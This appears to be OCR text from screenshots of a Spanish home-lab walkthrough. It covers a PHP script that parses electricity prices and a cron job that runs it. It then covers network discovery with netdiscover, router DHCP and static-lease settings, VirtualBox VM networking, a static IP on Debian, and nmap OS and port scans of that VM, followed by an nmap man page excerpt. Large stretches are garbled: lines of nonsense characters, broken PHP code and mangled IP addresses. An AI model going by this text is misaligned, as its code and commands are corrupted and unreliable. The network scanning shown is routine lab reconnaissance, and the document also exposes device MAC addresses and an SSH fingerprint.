print r($json cluded'[1) ;

P RWEEY!I ¢t YOYWIWWGRUGE WIIt ¢ WGe ! qlWl JawcCl AYG IO
% parphp X
$fichero =

$json = file g
$json =

print r($js




% par.php

$fichero = : S
$json = file get contents($fichero);
$json = json decode($json, t

ich ($json led' 1[0]

X {} luz.jsor

pias/1

e
uz.json";

)

ttributes

sprec s valu | / 1000;

echo skey Sprecio}kw

owWecawicUA¢cl tiYa

.08948kw/h
.08198kw/h
.084R2kw/h
.0844%5kw/h
.08377kw/h
.08417kw/h
.09814kw/h
.12531kw/h
. 14479kw/h

cloNoBoNoNoNoROo N

0 :
15
25
= SAG
4 :
SV
6 :
¥
8 :

h\n" -
h\n";
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copias.sh par.php pvpc.sh

par.php

1 0.08948 kw/h
1 0.08198 kw/h
1 0.08492 kw/h
¢ 0.08446 kw/h
1 0.08377 kw/h
: 0.08417 kw/h
: 0.09814 kw/h
: 0.12531 kw/h
t 0.14479 kw/h
: 0.10597 kw/h
1 0.16278 kw/h
: 0.16007 kw/h
: 0.1611 kw/h
: 0.16097 kw/h
: 0.09272 kw/h
: 0.09332 kw/h
: 0.10071 kw/h
1 0.12226 kw/h
: 0.2181 kw/h
: 0.2479 kw/h
1 0.25958 kw/h
: 0.24007 kw/h
1 0.15062 kw/h
: 0.13376 kw/h

\
0
1
2
3
4
5
6
7
8

OWe6YIl ¢ WAz 13t W RWIWGWGI DARY Wt qCWae! YI Whe WWGe 13t L
Yl ¢cWe2W RNDeel W YOT Wt qCWyawryYae Ul YWGH6 Ga

Et qCWUUWoeat |l oHRUOGG6 G
OWd Wl RNY Whe JWHe ¢ UT YW TWHz qUWUIGWARYGe 0T YAWhe 1JWG |

( ) ~

‘ hp par.php > copias/luz.txt

l cd copias
| ( ~/copias

backup.snar logcopias.log logpvcp.log 1luz.json luz.txt quienes.log

== )-[~/copias]
L nano tuz.txt |
Completing file

luz.json luz.txt

GWseHII WIadwle UYWHYAGG! 2 DAY Whie WG YWt qCWwé e #ARIJUT Y
EOqYUHDt WEYUNYWJIaWaARYGe UT YW IJWnY!l Gc¢clWEHY Yailqca



)-[~/copias

r/bin/php /home/alfonso/par.php > /home/alfonso/copias/luz.txt

9YGGI e DAY We WWne URRY UG W! WES Y ¢ WaIIW2Y! WedlWrl YUqd
MHEI Y @l ¢ A LW

# h dom mon dow o
00 19 * * * /usr/bin/bash /home/alfonso/copias.sh >> /home/alfonso/copias/logcopias.log 2> 1
38 19 * * x /usr/bin/bash /home/alfonso/pvpc.sh > /home/alfonso/copias/logpvcp.log 2> 1

l12 20 * * * /usr/bin/php /home/alfonso/par.php > /home/alfonso/copias/luz.txt]]

OYUGI YHcOGYt WhueJWnea UBRYUC¢ a

)-[~/copias]
cronte -
crontab: installing new crontab

5 K )-[~/copias]
backup.snar logcopias.log logpvcp.log 1luz.json Tluz.txt quienes.log

)-[~/copias]

t luz.txt

.08948 kw/h
.08198 kw/h
.08492 kw/h
08446 kw/h
.08377 kw/h
.08417 kw/h
.09814 kw/h
.12531 kw/h
14479 kw/h
.10597 kw/h
16278 kw/h
16007 kw/h
1611 kw/h

16097 kw/h
.09272 kw/h
.09332 kw/h
.10071 kw/h
.12226 kw/h
.2181 kw/h

2479 kw/h

.25958 kw/h
.24007 kw/h
.15062 kw/h
.13376 kw/h

55

NS WN PO

)-[~/copias]
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( )-[~/Escritorio!
In -s /home/alfonso/copias/luz.txt preciosLuz.txt

-|~/Escritorio

EGWROUOGeHIW 2c20WaVYWiaedVYWG!I DHRY XeAIOG]#G]
écuvYt WedWwdt ®#l RaY!l RY W! LLIUYLIJUYLIJ2IJGY*rI'OLIJAIJIVLIJCI’UZRLIJi
Archivos H # Carpetapersonal | Escritorio
Carpeta personal &
Recientes
| Red preciosLuz.txt

Papelera

Documentos
Musica
Imagenes

B Videos

¥ Descargas




preciosLuz.txt

A Carpeta
P .08948 kw/h

.08198 kw/h
.08492 kw/h
.08446 kw/h
.08377 kw/h
.08417 kw/h
.09814 kw/h
.12531 kw/h
.14479 kw/h
.10597 kw/h
.16278 kw/h
.16007 kw/h
.1611 kw/h
.16097 kw/h
.09272 kw/h
.09332 kw/h
.10071 kw/h
.12226 kw/h
.2181 kw/h
.2479 kw/h
.25958 kw/h
.24007 kw/h
.15062 kw/h

@® Recient:
Y Destaca
E Red

@ Papeler

P :
s B
4
3
4
5
6
7
8

= O
[~

B Docume

[y
[

Jd Musica

[
w N

M Imagen

=
(TR

B Videos

[y
~

¥ Descarg
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MmUWqT Rt #HY 2 131

n alfonso@kali: ~

Currently scanning: 172.16.0.0/16 |

Screen View: Unique Hosts

424 Captured ARP Req/Rep packets, from 17 hosts. Total size: 25440

192.168.1.40

192.168.1.
192.168.1.63
192.168.1.86
192.168.1.92
192.168.1.126
192.168.1.138
192.168.1.201
192.168.1.58
192.168.1.55
192.168.
1.1.1.1
0.0.0.0
0.0.0.0
192.168.
0.0.0.0
192.168.

Espressif Inc.

MitraStar Technology Corp.
Unknown vendor

TP-LINK TECHNOLOGIES CO.,LTD.
MitraStar Technology Corp.
Samsung Electronics Co.,Ltd
HP Inc.

Commscope

Smart Innovation LLC

Smart Innovation LLC
Espressif Inc.

MitraStar Technology Corp.
TP-LINK TECHNOLOGIES CO.,LTD.
Espressif Inc.

MitraStar Technology Corp.
Ring LLC

Ring LLC

I I R S S N

SRR WNRBNNDRRRRSRBRBOW

A e

PGW2440KIT
Kit de Adaptadores Powerline G.hn2400 +
Wi-Fi 6 AX1800

PG2400P KIT
Kit de Adaptadores Powerline G.hn2400

TL-WPA8631P KIT
Kit de Adaptadores Powerline AV1300 + Wi-
Fi 5 AC1200 con Enchufe Incorporado

-
/ 0 P
'
° 1
"\ : y X
U -
/)
-~

TL-WPA8631P TL-WPA7817 KIT TL-WPA7617 KIT
Adaptador Powerline AV1300 con Enchufe Kit de Adaptadores Powerline AV1000 + Wi- Kit de Adaptadores Powerline AV1000 + Wi-
Incorporado Fi 6 AX1500 con Puerto Gigabit Fi5AC1200
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valid_1ft 42910sec preferred_lft 42910
inet6 /64 scope 1
valid_1ft forever preferred_lft foreve

LS ipa
12 <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc
t qlen 1000
: link/loopback 0@ 0:00:00:00 brd 00:00 2x2x2x2x2x2x2x2
inet /8 scope host lo
valid_1ft forever preferred_lft foreve
inet6 /128 scope host noprefixroute
valid_1ft forever preferred_lft foreve
i 2: <BROADCAST ,MULTICAST,UP,LOWER_UP> mti
flp default gqlen 1000
link/ether @ 5:27:ef brd ff:ff:ff
inet /24 brd 5
ho
valid_1ft 42857sec preferred_lft 42857
inet6 /64 scope 1
valid_1ft forever preferred_lft foreve

a
de3 <LOOPBACK,UP, LOWER_UP> mtu 65536 gqdisc nogqueue state UNKNOWN group defaul
t glen 1000
link/1loopback 00 ;
inet /8 scope host lo
valid_lft forever preferred_lft forever
inet6 /128 scope host noprefixroute
valid_lft forever preferred_lft forever
2 <BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 gqdisc fq_codel state UP grou
p default qlen 1000
link/ether o¢ 27:d4:7a:37 brd ff:ff:ff:ff:ff:ff
i /24 brd scope global dynamic noprefixroute

valid_1*t 5Z76sec preferred_1ft 6526sec
inet6 ‘vt srore lin' Gorr=floroite
valid_lft {forever preferrei f. torecver
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4 Vista creada con |A

Los rangos de direcciones IP privadas IPv4, definidos para uso interno en redes locale
(LAN) sin salir a internet, se dividen en tres clases principales: Clase A (10.0.0.0 -
10.255.255.255), Clase B (172.16.0.0 - 172.31.255.255) y Clase C (192.168.0.0 -
192.168.255.255). Estas direcciones no son enrutables en internet y se utilizan para
hogares y empresas. @ 18M +4

Rangos de Direcciones IP Privadas (RFC 1918)

» Clase A: 10.0.0.0 - 10.255.255.255 (Ideal para grandes redes, permite mas de 16
millones de hosts).

Clase B: 172.16.0.0 - 172.31.255.255 (Utilizado en empresas medianas, permite
mas de 65,000 hosts).

Clase C: 192.168.0.0 - 192.168.255.255 (Uso comUn en redes domésticas y

pequenas oficinas, 256 host&,. 2 YouTube +4

X CWOTEt WO WIt Wicwact WHYGZUWWANI GRqUW=PIWGE Yt qt tOL
oYWt W=PP+=PP#%

PP

oMWWt W=PP+=PP+=ZPP+=ZPPWhe Wt YUOWaU¢t W=ENNMNOWGRGOGYUI
61JGYt WHECOHARET YWe Wf G2 X
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Clases de Direcciones IP Publicas (Generales)

Clase D (Multicast): 224.0.0.0 - 239.255.255.255.

Clase E (Experimental): 240.0.0.0 - 255.255.255.255. @ wikinedia +2
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a alfonso@kali: ~ Q

Currently scanning: 192.168.q§P/16 | Screen View: Unique Hosts

37 Captured ARP Req/Rep packets, from 17 hosts. Total size: 2220

98:97:d1:aa:c2:6d MitraStar Technology Corp.
.168.1.86 60:32:b1:58:32:4d TP-LINK TECHNOLOGIES CO.,LTD
.168.1.35 @c:dc:91:2e:e9:19 Amazon Technologies Inc.
.168.1.53 10:2c:b1:78:2f:ab Smart Innovation LLC
.168.1.92 84:aa:9c:9a:e5:3e MitraStar Technology Corp.
.168.1.138 48:9e:bd:al:al:39 HP Inc.
.168.1.123 5c:64:7a:93:90:dd HUAWEI TECHNOLOGIES CO.,LTD
.168.1.201 bc:5b:d5:a8:6e:99 Commscope
.168.1.54 10:2c:bl1:a4:43:13 Smart Innovation LLC

.168.1.56 10:2c:b1:78:a1:04 Smart Innovation LLC
AR = f-da - = b ma guati

0L+ hA* + 0

éclc WHYNWI W WEeHWI WEPP+=PPLWGUqRARY Ut 1OWE ¢ We WRI L
9YNIIWEI ¢ WINPZIONZ Y IOMION ALUN = ION S Y FOMIO= W LWix 2 1IN Y WN & = tON ;3
ECWUGW Yeqll a

Red Local 19216811}
| B
Mascara de subred ‘ 2552552550

Direccién IP inicio rango ‘192168133

DHCP ‘ ACTIVADO v]

Direccién IP fin rango ‘ 1921681199

Configurador de servidores DNS (se recomienda no modificar)

Servidor DNS1 805861254 Servidor DNS2 805861250 l

Aplicar Cambios

OWGYUI WicWact HEl ¢W=ZPP=ZPPIO=ZPPIOMIOW @ WGYU I WMt
SOqRGYWUOdzWT WG RY Wf Akt OW WIFHIPVGHRZUOWI WG WNWGY! he |

OV WIGW ¢UNYWT UWf Akt OWAY I e DWWt qClle AqR2¢T Y WG
Dt He BHSGc Wl DWict WGUWqRARYU W ywaW2¢Uqc G RIUQY WT 1JLWI
b JEWGY! WHeAHGWos R3W! W WWrRYUWHEGgCE We G Wi CheeqRA] GQLUE G W Y
GUT REUqUWUO WG YqYHYOVYWeIGI YqYHYGY W WRT RYG ¢ Whe 1JLWI

9ecUl YWVG WESOW DWiKW2¢Uqe AW DaqlHEaqe WEc Wael TUaqe Wi
Azt #¢ UT YWDO WG YqYHRYGYW JW?2c 9AW! W RWIYWIUR21IIUq! |
AYU3Nezl ¢cARZOW W T 10

x YWhe W RNDUR3H¢ Whe IJWIIG WE KO§ HOW2 ¢ We WU We UVt WGe |
GY!l W?c9QALWWIGC¢ Wf Al WGe ! qRI WT oW ¢OnY W DwWf Akt Wi el ¢t
X Y Whe Wt qij Wne 31 ¢ Wl yaw ¢UNYWN JWf AWGYWGe JT YWet RY



Al YqYHYGYW VWHYGe URHEHRZUa WERLW! YW6¢HOYWHS RUY WHY
Gl YaYHYGYW WWRrYade URHEHRZUWbG6C AGCO Y WG LW R & YWRI

Red Local ‘ 19216811
Mascara de subred ‘ 255.255255.0

Direccién IP inicio rango ‘1911551,33

l
l
DHCP | acvano vl
l
l

Direccién IP fin rango “\92'\681]99

Configurador de servidores DNS (se recomienda no medificar)

‘ Servidor DNS1 [ao.ssmzsa ] Servidor DNS2 Y | ‘

WGe !l qlWwl Jwet RNUE! WG e Wf AWaw?2c 9AWet RNU¢ WIJG Wt 11

92¢UT YWe UWGHLW WWHRYUWHge We G W Ye qldl WIGHLW?c9 AL IILWE

ERW! YW Wt ¢cHqR2YWUIOW?2c9AAWedWeYel RI WeUWUe W2 Y WJhe
AYU3Nzl ¢l ayYW YwWwaeUecaaWUqto

Acl ¢clWet RNUe | Wf ARt W3TCEt WIt qY Wt W6 ¢ HIWEY! W~ 910

a
<LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group defaul
qlen 1000
link/loopback ©00:00:00:00:00:00 brd 00:00:00:00:00:00
inet /8 scope host lo
valid_1ft forever preferred_lft forever
inet6 /128 scope host noprefixroute
valid_lft forever preferred_lft forever
<BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP grou
b default qlen 1000
link/ether h;:00:21:55:27ee‘ brd ff:ff:ff:ff:ff:ff
inet /24 brd scope global dynamic noprefixroute et
)
valid_1ft 42551sec preferred_lft 42551sec
inet6 /64 scope link noprefixroute
valid_1ft forever preferred_lft forever

Et WOzt W ¢ W~ 9oWx ¢ W~ 9 Wt WHY G Y We OwOdzi yw 3l Rl
Acl ¢cWwet RNUE! Wf Akt W3TcEt a



Local Area Network (LAN) Setup
Configure the Broadband Router IP Address and Subnet Mask for LAN interface. GroupName | Default v

Address (19216811 ]
ibnet Mask: [ 255.255.255.0 ]

Enable IGMP Snooping
@ Standard Mode
O Blocking Mode

nable IGMP LAN to .
AN Multicast: Disable ~

to LAN Multicast
d until the
el

) Enable LAN side firewal

O Disable DHCP Server

Enable DHCP Server

Start IP Address [ 192.168.1.33 |

End IP Address:  (192.168.1.199 ]
Leased Time (hour): [ 12 ]

Static IP Lease List: (A maximum 32 entries can be configured)
[MAC Aduress| P ALI(lress| Remove |

éclWlecWeYeT RI WeUcwUe 2 ¢ WIf AWIZ T¢ OWe ¢ #HIIWe OW

MWt eT YWOWqT Rt #Y2 131 1OW + RWGE ! ¢ W2 131 W et Whe WWagRIUIL
9 Y NIIWE ¢ W=MNLWhe BWIt qCline 31 ¢ Wi yaw ¢ UnNY Wl ywf Ato
9YNUWGE W~ 9LW WicélWGCUNEa

DHCP Static IP Lease

Enter the Mac address and Static IP address then click "Apply/Save”

MAC Address (08:00:27:55:27:ef ]
P Address | 192.168.1.201

ovnuw! wet RNUcWe Uc Wf AWt qCaRHECS WT 13t T WWIG W Ve qldl L



ip a
1: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc nogueue state UNKNOWN group defaul
t qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00
inet /8 scope host lo
valid_lft forever preferred_lft forever
inet6 /128 scope host noprefixroute
valid_lft forever preferred_lft forever
2% <BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc fq_codel state UP grou
p default qlen 1000
link/ether 08:00:27:55:27:ef brd ff:ff:ff:ff:ff:ff
inet /24 brd scope global dynamic noprefixroute et
ho
valid_lft 43090sec preferred_lft 43090sec
inet6 /64 scope link noprefixroute
valid_lft forever preferred_lft forever
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kali- Settings —
[ ceneral Red
. Adaptador 1 Adap daptador3 | A d

|| sistema - = =

¥ Habiiitar aduptodor de rec
|§| Pantalla

Conectar a | Adaptador puente -
@ Almacenamiento Nombre |enp11s0 -
{n Audio Tipo de Adaptador | intel PRO/1000 MT Desktop (82540
51 Red Promiscuous Mode | Denegar v
Direccion MAC (080027552 7EF &
® Puertos serie i
v/ virtual Cable Connected

£ use
|_:| Carpetas compartidas Puertos serie

Puerto1 | Puerto2 | Puerto3 | Puerto4

Ifl Interfaz de usuario

OV aVYW2a YHAEINI WANHY U3 Nel ¢ WdcWw~ 9wl wwae wa e RUG W



U (Reciente Instalado) [Corriendo] - Oracle VirtualBox =2 RS

Ver Entrada Dispositivos Ayuda

- 4
@ General
Sistema
lg Pantalla
M Almacenamiento
@n Audio
A\ @ Red
alfonso@kali: ~ Q H

2demar 19:33

®

@ Puertos serie

3 a ﬁ usB
1: <LOOPBACK,UP, LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group defaul

t qlen 1000
link/loopback

[] carpetas compartidas
D:00 brd 00

inet /8 scope host 1o
valid_lft forever preferred_lft forever

‘f‘ Interfaz de usuario

inet6 /128 scope host noprefixroute
valid_lft forever preferred_lft forever
2: <BROADCAST , MULTICAST,UP, LOWER_UP> mtu 1500 qdisc fq_codel state UP grou
p default glen 1000
link/ether

IR FFFFFF
inet /24 brd

scope global dynamic noprefixroute et

valid_1ft 43090sec preferred_1ft 43090sec
inet6 /64 scope link noprefixroute
valid_Lft forever preferred_lft forever
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& (v

Clonar Co

‘hivo Mé&quina |nstantdnea Ayuda

&

| Tomar Eliminar Restaurar Propiedades

TN debianserver
| 4 © Apagada

6 VI

O Wl WwWwae¢ wle

REINWz DWIIUWt ¢ G RWSE ¢! We UWwt 131

deblanserver - Settings

Red

Adaptador 1 | Adaptador2 = Adaptador 3
V' Habilitar adaptador de red
Conectar a | Adaptador puente
Nombre | enp11s0
Tipo de Adaptador |Intel PRO/1000 MT Des|

Promiscuous Mode | Denegar
Direccién MAC \0000275527EF[J
v/ Virtual Cable®Bnngct

Puertos serie

Puerto1 | Puerto 2

Puerto 3

Puerto 4

Enable Serial Port

uss
v Habilitar controlador USB
Controlador USB 1.1 (OHCI)
@ Controlador USB 2.0 (OHCI + EHCI)
Controlador USB 3.0 (xHCI)
Filtros de dispositivos USB
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a alfonso@kali: ~ (o}

Currently scanning: 192.168.0.0/16 | Screen View: Unique Hosts

10 Captured ARP Req/Rep packets, from 9 hosts. Total size: 600

MitraStar Technology Corp.
TP-LINK TECHNOLOGIES CO.,LTD
Smart Innovation LLC

Smart Innovation LLC
MitraStar Technology Corp.
HP Inc.

Commscope

Smart Innovation LLC

Ring LLC

1.
.1.
.1.
.1.
% 8
.1.
.1.
.1.
.1.

o S =Y

34:3e:a4:

N
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geDIanserver [Lornenao)-

Archivo Maquina Ver Entrada Dispositivos Ayuda

Debian GNUZLInux

Seo gdisc
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Configuracion
Cancelar Cableada

Detalles Identidad IPv4 IPv6 Seguridad

Compartida con otros equipos

Direcciones

192.168.1.75 255.255.255.0 192.168.1.1

Usar esta conexion s6lo para los recursos en su red
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.| T 2 de mar 19:52

root@kali: /etc/network

interfaces

# This file ‘,‘

source /etc/network/interfaces.d/*

if{se lo inet loopback

2qYLWOYWbJt qYWIt WGcWaYHECTGEYt qb ALWGYLWE ¢ HIJWEE WA Y Y (

{ ) ~
[ma
<LOOPBACK,UP, LOWE > mtu 65536 qdisc noqueue state UNKNOWN group default glen 1000
Lxllnk/loopback 00:00 0:00 ) brd 00:00:00:00:00:00
inet /8 scope host lo
valid_1ft forever preferred_lft forever
inet6 /128 scope host noprefixroute
valid_lft forever preferred_lft forever
<BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:55:27:ef brd ff:ff:ff:ff:ff:ff
inet /24 brd scope global noprefixroute eth@
valid_lft forever preferred_lft forever

inet6 /64 scope link noprefixroute
valid_1ft forever preferred_lft forever

x Yalll YYGH¢ Ht IOWo ¢ W2 RIOVDWAYU3INal ¢T Y
Eqd6 MWt Wac¢Waqe!l TWae W W T W Jd WGl Ynldio
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root@kali: fetc/network

GNU nano 8.6 interfaces *
t 11s file de \ \ =T

source /etc/network/interfaces.d/*

t The loopbs
auto lo
iface lo inet loeopback

auto etho

iface eth@ inet static

address 192.168.1.75

netmask 255.255.255.0

gateway 192.168.1.1
dns-nameservers 8.8.8.8,8.8.4.4

oWet RAWWY quU W he RGY W RWYH RW W2 ¢ We WGY U WHY U WHT |
YW Wt qCwGet ¢ UT YWT DaW?2c9AWGY! hue Wt qCWT 3t ¢ HaRz?

2: ethd: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fg_codel
p default gqlen 1000
link/ether 08:00:27:55:27:ef brd ff:ff:ff:ff:ff:ff
inet /24 brd scope global dynamic nop
ho
valid_1ft 43112sec preferred_lft 37712sec

inet6 /64 scope link
valid_1ft forever preferred_lft forever

/home /al fansn

Wi ¢t W=MaMOLWG ¢ HIWE ¢ WGl e WA¢ Wt RNe2 RUIUqJa
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5e kali (Instantanea 1) = (] Instanténeas )
£ Corriendo -+ alfonso@kali: ~
n o inet /24 brd scope

Archivo Maquina Ver Entrada Dispositivos Ayuda valid_1ft forever preferred_Lft forever
inet6 /64 scope link

valid_Lft forever preferred_lft forever

fed
®

s
iLs'ipa
f1: <LOOPBACK, UP, LOWER_UP> mtu 65536 qdisc nog
t qlen 1000
link/loopback ©00:00:00:00:00:00 brd 00:00:00;
inet /8 scope host lo
valid_lft forever preferred_lft forever
inet6 /128 scope host noprefixroute
valid_1ft forever preferred_lft forever
2: <BROADCAST ,MULTICAST,UP, LOWER_UP> mtu 19
p default glen 1000

3+deb13-amd6d4 #1 SMP PREEMPT_DYNAMIC D

eue NKNOWN group default glen 1000

link/ether ©8:00:27:55:27:ef brd ff:ff:ff:ff

inet /24 brd scope
valid_1ft forever preferred_lft forever

inet6 /64 scope link
valid_lft forever preferred_lft forever

| 1500 gdisc

Lok

210t T JWE ¢l Ra
MmWGRUDN

L ping 192.168.1.75

PING 192.168.1.75 (192.168.1.75) 56(84) bytes of data.
64 bytes from 192.168.1.75: icmp_seq=1 ttl=64 time=0.027
64 bytes from 192.168.1.75: icmp_seq=2 ttl=64 time=0.091
64 bytes from 192.168.1.75: icmp_seq=3 ttl=64 time=0.046
64 bytes from 192.168.1.75: icmp_seq=4 ttl=64 time=0.058

64 bytes from 192.168.1.75: icmp_seq=5 ttl=64 time=0.058

64 bytes from 192.168.1.75: icmp_seq=6 ttl=64 time=0.048

i

--- 192.168.1.75 ping statistics ---

6 packets transmitted, 6 received, 0% packet loss, time 5369ms
rtt min/avg/max/mdev = 0.027/0.054/0.091/0.019 ms
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alfonso@alfonso-pc: ~

:-$ ping 192.168.1.75
PING 192.168.1.75 (192.168.1.75) 56(84) bytes of data.
bytes from 192.168.1.75: icmp_seq=1 ttl=64 time=0.456
bytes from 192.168.1.75: icmp_seq=1 ttl=64 time=0.463 (DUP!)
bytes from 192.168.1.75: icmp_seq=2 ttl=64 time=0.116
bytes from 192.168.1.75: icmp_seq=2 ttl=64 time=0.125 (DUP!)
bytes from 192.168.1.75: icmp_seq=3 ttl=64 time=0.099
bytes from 192.168.1.75: icmp_seq=3 ttl=64 time=0.122 (DuP!)
bytes from 192.168.1.75: icmp_seq=4 ttl=64 time=0.116
bytes from 192.168.1.75: icmp_seq=4 ttl=64 time=0.130 (Duﬁ!)
bytes from 192.168.1.75: icmp_seq=5 ttl=64 time=0.528
bytes from 192.168.1.75: icmp_seq=5 ttl=64 time=0.829 (DUE!)
bytes from 192.168.1.75: icmp_seq=6 ttl=64 time=0.173
bytes from 192.168.1.75: icmp_seq=6 ttl=64 time=0.193 (DUP!)
bytes from 192.168.1.75: icmp_seq=7 ttl=64 time=0.168
bytes from 192.168.1.75: icmp_seq=7 ttl=64 time=0.173 (DUP!)
bytes from 192.168.1.75: icmp_seq=8 ttl=64 time=0.263
bytes from 192.168.1.75: icmp_seq=8 ttl=64 time=0.301 (DUP!)
bytes from 192.168.1.75: icmp_seq=9 ttl=64 time=0.158
bytes from 192.168.1.75: icmp_seq=9 ttl=64 time=0.163 (DUP!)
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:$ sudo nmap -0 192.168.1.75
[sudo] contrasena para alfonso:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-02 20:07 CET
Nmap scan report for 192.168.1.75
Host is up (0.00025s latency).
All 1000 scanned ports on 192.168.1.75 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
MAC Address: 08:00:27:55:27:EF (Oracle VirtualBox virtual NIC)
Warning: 0SScan results may be unreliable because we could not find at least 1 o
pen and 1 closed port
Aggressive 0S guesses: Star Track SRT2014HD satellite receiver (Linux 2.6.23) (9
8%), Linux 3.2 - 3.5 (98%), Linux 3.3 (98%), Linux 2.4.20-grsec (98%), AVM FRITZ
!Box (FritzOS 6.03) (98%), Android 4.1 (98%), Android 4.1.2 (98%), Grandstream G
XP1400 VoIP phone (98%), Linux 2.6.32 (98%), Linux 2.6.33 (98%)
No exact 0S matches for host (test conditions non-ideal).
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/
submit/
Nmap done: 1 IP address (1 host up) scanned in 1.57 seconds
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:-$ sudo nmap -0 192.168.1.75
[sudo] contrasena para alfonso:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-02 20:07 CET
Nmap scan report for 192.168.1.75
Host is up (0.00025s latency).
All 1000 scanned ports on 192.168.1.75 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
MAC Address: (Oracle VirtualBox virtual NIC)
Warning: 0SScan results may be unreliable because we could not find at least 1 o
pen and 1 closed port

Aggressive 0S guesses: Star Track SRT2014HD satellite receiver (Linux 2.6.23) (9
8%), Linux 3.2 - 3.5 (98%), Linux 3.3 (98%), Linux 2.4.20-grsec (98%), AVM FRITZ
!Box (FritzOS 6.03) (98%), Android 4.1 (98%), Android 4.1.2 (98%), Grandstream G
XP1400 VoIP phone (98%), Linux 2.6.32 (98%), Linux 2.6.33 (98%)

No exact 0S matches for host (test conditions non-ideal).

Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/
submit/
Nmap done: 1 IP address (1 host up) scanned in 1.57 seconds
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~ alfonso@alfonso-pc: ~

WARNING: RST from 192.168.1.75 port 22 -- is this port really open?
Nmap scan report for 192.168.1.75

Host is up (0.00017s latency).

Not shown: 65534 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh
MAC Address: 08:00:27:55:27:EF (Oracle VirtualBox virtual NIC)
No exact 0S matches for host (If you know what OS is running on it, see https://
nmap.org/subgBt/ A
TCP/IP fingerprint:
:SCAN(V=7.94SVN%E=4%D=3 /2%0T=22%CT=1%CU=38429%PV=Y%DS=1%DC=D%G=Y%M=080027
:%TM=69A5E115%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=106%TI=Z%CI=Z%I1

:=I%TS=A)SEQ(SP=106%GCD=1%ISR=106%TI=Z%CI=Z%II=RI%TS=A)0PS(01=%02=%03=%04
:=%05=%06=)0PS (01=%02=%03=%04=%05=M5B4ST11NW7%06=)0PS (01=%02=%03=M5B4NNT 1
: INW7%04=M5B4ST11NW7%05=%06=)0PS(01=M5B4ST11INW7%02=M5B4ST11NW7%03=%04=M5B
t4ST1INW7%05=M5B4ST11NW7%06=M5B4ST11)0PS(01=M5B4ST11INW7%02=M5B4ST11NW7%03
:=M5B4ANNT11NW7%04=M5B4ST11INW7%05=M5B4ST11NW7%06=M5B4ST11)WIN(W1=0%W2=0%W3
1 =0%WA=0%W5=0%W6=0)WIN(W1=0%W2=0%W3=0%W4=0%W5=FEBB%W6=0 )WIN(W1=0%W2=0%W3=
: FE88%WA4=FE88%W5=0%W6=0)WIN(W1=FE88%W2=FE88%W3=0%W4=FE88%W5=FE88%W6=FE88)
:WIN(W1=FE88%W2=FE88%W3=FE88%WA4=FE88%W5=FE88%W6=FE88) ECN(R=Y%DF=Y%T=40%W=
:0%0=%CC=N%Q=) ECN(R=Y%DF=Y%T=40%W=FAF0%0=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T
:=40%S=0%A=S+%F=AS%RD=0%Q=) T1(R=Y%DF=Y%T=40%S=Z%A=S+%F=AR%RD=0%Q=) T2 (R=Y%
:DF=Y%T=40%W=0%S=Z%A=S%F=AR%0=%RD=0%Q=) T3(R= %T=40%W=0%S=2%A=0%F=AR%
:0=%RD=0%Q=)T4 (R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%0=%RD=0%Q=) T5(R=Y%DF=Y%T=40%

CCHIUDAYH WYql ¢ WGl cDAHe®WECt Wt WURRGGOCaWGY! W
mUWtetagny Ut Yo Nd = KON X Y HON OT P

:$ ssh alfonso@192.167.1.75

:-$ ssh root@192.167.1.75
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:$ ssh alfonso@192.168.1.75
The authenticity of host '192.168.1.75 (192.168.1.75)"' can't be established.

ED25519 key fingerprint is SHA256:yIzwvxSfx17TUJIKtqjwDuyMR1drAq40Iq/Jdv80C28.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? I
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mailto:alfonso@192.168.1.75
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nmap - Herramienta de exploracion de redes y

puertos

SINOPSIS

nmap [Tipo de sondeo...] [Opciones] {especificacion de objetivo}

DESCRIPCION
Nmap (“mapeador de redes”) es una herramienta de codigo abierto para
exploracion de red y auditoria de seguridad. Se disend para analizar
rapidamente grandes redes, aunque funciona muy bien contra equipos
individuales. Nmap utiliza paquetes IP "crudos" («raw», N. del T.) en
formas originales para determinar qué equipos se encuentran disponibles
en una red, qué servicios (nombre y version de la aplicacion) ofrecen,
qué sistemas operativos (y sus versiones) ejecutan, qué tipo de filtros
de paquetes o cortafuegos se estan utilizando asi como docenas de otras
caracteristicas. Aunque generalmente se utiliza Nmap en auditorias de
seguridad, muchos administradores de redes y sistemas lo encuentran Gtil
para realizar tareas rutinarias, como puede ser el inventariado de la
red, la planificacion de actualizacion de servicios y la monitorizacion
del tiempo que los equipos o servicios se mantiene activos.

La salida de Nmap es un listado de objetivos analizados, con informacion
adicional para cada uno dependiente de las opciones utilizadas. La
informacion primordial es la “tabla de puertos interesantes”. Dicha
tabla lista el numero de puerto y protocolo, el nombre mas comin del
servicio, y su estado. El estado puede ser open (abierto), filtered
(filtrado), closed (cerrado), o unfiltered (no filtrado). Abierto
significa que la aplicacion en la maquina destino se encuentra esperando
conexiones o paquetes en ese puerto. Filtrado indica que un
cortafuegos, filtro, u otro obstaculo en la red esta bloqueando el
acceso a ese puerto, por lo que Nmap no puede saber si se encuentra
abierto o cerrado. Los puertos cerrados no tienen ninguna aplicacion
escuchando en los mismos, aunque podrian abrirse en cualquier momento.
Los clasificados como no filtrados son aquellos que responden a los
sondeos de Nmap, pero para los que que Nmap no puede determinar si se
encuentran abiertos o cerrados. Nmap informa de las combinaciones de
